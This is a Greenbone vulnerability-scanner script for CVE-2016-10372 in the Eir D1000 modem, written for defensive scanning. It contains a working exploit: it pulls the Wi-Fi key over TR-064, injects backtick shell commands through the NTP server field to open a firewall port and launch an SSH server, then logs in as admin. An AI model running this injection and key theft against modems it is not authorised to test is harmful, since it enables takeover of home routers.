Eir D1000 Modem CWMP Remote Command Execution

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:allegrosoft:rompager";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.140054");
  script_version("2025-03-20T05:38:32+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_cve_id("CVE-2016-10372");

  script_name("Eir D1000 Modem CWMP Remote Command Execution");

  script_xref(name:"URL", value:"https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/");

  script_tag(name:"vuldetect", value:"Try to open a port in the firewall then start a ssh server on this port and try to login.");

  script_tag(name:"insight", value:"By sending certain TR-064 commands, scaner can instruct the modem to open a port on the firewall
  and to start a ssh server on this port. This allows ssh access to the modem. The default login password for the D1000 is the Wi-Fi password.
  This is easily obtained with another TR-064 command.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the product
  by another one.");

  script_tag(name:"summary", value:"The Eir D1000 Modem has bugs that allow an attacker to gain full control of the modem from the Internet.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"last_modification", value:"2025-03-20 05:38:32 +0000 (Thu, 20 Mar 2025)");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2017-12-19 02:29:00 +0000 (Tue, 19 Dec 2017)");
  script_tag(name:"creation_date", value:"2016-11-11 10:15:15 +0100 (Fri, 11 Nov 2016)");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_dependencies("gb_allegro_rompager_detect.nasl", "gb_default_credentials_options.nasl");
  script_require_ports("Services/www", 7547);
  script_mandatory_keys("allegro/rompager/detected");
  script_exclude_keys("default_credentials/disable_default_account_checks");

  exit(0);
}

if(get_kb_item("default_credentials/disable_default_account_checks"))
  exit(0);

include("http_func.inc");
include("http_keepalive.inc");
include("ssh_func.inc");
include("host_details.inc");
include("misc_func.inc");

function run_cmd( cmd, port )
{
 local_var buf, cmd, port;

 xml = '<?xml version="1.0"?>
 <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <SOAP-ENV:Body>
   <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
    <NewNTPServer1>' + cmd + '</NewNTPServer1>
    <NewNTPServer2></NewNTPServer2>
    <NewNTPServer3></NewNTPServer3>
    <NewNTPServer4></NewNTPServer4>
    <NewNTPServer5></NewNTPServer5>
   </u:SetNTPServers>
  </SOAP-ENV:Body>
 </SOAP-ENV:Envelope>';

  url = '/UD/act?1';

  req = http_post_put_req( port:port,
                       url:url,
                       data:xml,
                       add_headers:make_array("Content-Type", "application/x-www-form-urlencoded",
                                              "SOAPAction", "urn:dslforum-org:service:Time:1#SetNTPServers")
                     );

  buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

  if( buf !~ "HTTP/1\.. 200" ) exit( 99 );

  return;
}

# nb: No get_app_location() as rompager is only used within this product and there is no point
# in linking to the detection of it.
if( ! port = get_app_port( cpe:CPE ) )
  exit( 0 );

url = "/globe";
req = http_get( item:url, port:port );
buf = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );

if( buf !~ "^HTTP/1\.[01] 404" || "home_wan.htm" >!< buf ) exit( 99 );

xml = '<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
  <u:GetSecurityKeys xmlns:u="urn:dslforum-org:service:WLANConfiguration:1">
  </u:GetSecurityKeys>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>';

req1 = http_post_put_req( port:port,
                      url:'/UD/act?1',
                      data:xml,
                      add_headers:make_array("Content-Type", "text/xml",
                                             "SOAPAction", "urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys")
                   );


buf1 = http_keepalive_send_recv( port:port, data:req1, bodyonly:FALSE );

if( "<NewPreSharedKey>" >!< buf1 ) exit( 99 );

k = eregmatch( pattern:'<NewPreSharedKey>([^<]+)</NewPreSharedKey>', string:buf1 );
if( isnull( k[1] ) ) exit( 99 );

key = k[1];

nc_port = rand() % 64512 + 1024;

run_cmd( cmd:'`iptables -I INPUT -p tcp --dport ' + nc_port + ' -j ACCEPT`', port:port );
run_cmd( cmd:'`dropbear -p ' + nc_port + '`', port:port );

sleep( 3 );

soc = open_sock_tcp( nc_port );
if( ! soc ) exit( 99 );

login = ssh_login( socket:soc, login:'admin', password:key, priv:NULL, passphrase:NULL );
close( soc );

run_cmd( cmd: '`iptables -I INPUT -p tcp --dport ' + nc_port + ' -j REJECT`', port:port );
run_cmd( cmd: "`kill -9 $(pidof dropbear)`", port:port );
run_cmd( cmd: "`dropbear`", port:port );
run_cmd( cmd: "pool.ntp.org", port:port );

if( login == 0 )
{
  report =  'By sending certain TR-064 commands, scanner was able to instruct the modem to open port `' + nc_port + '` on the firewall and to start a ssh server on this port.\n';
  report += 'The default login password for the D1000 is the default Wi-Fi password `' + key  + '`. This was easily obtained with another TR-064 command.\nIt was possible to login into the modem using this password for the user `admin`.';

  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );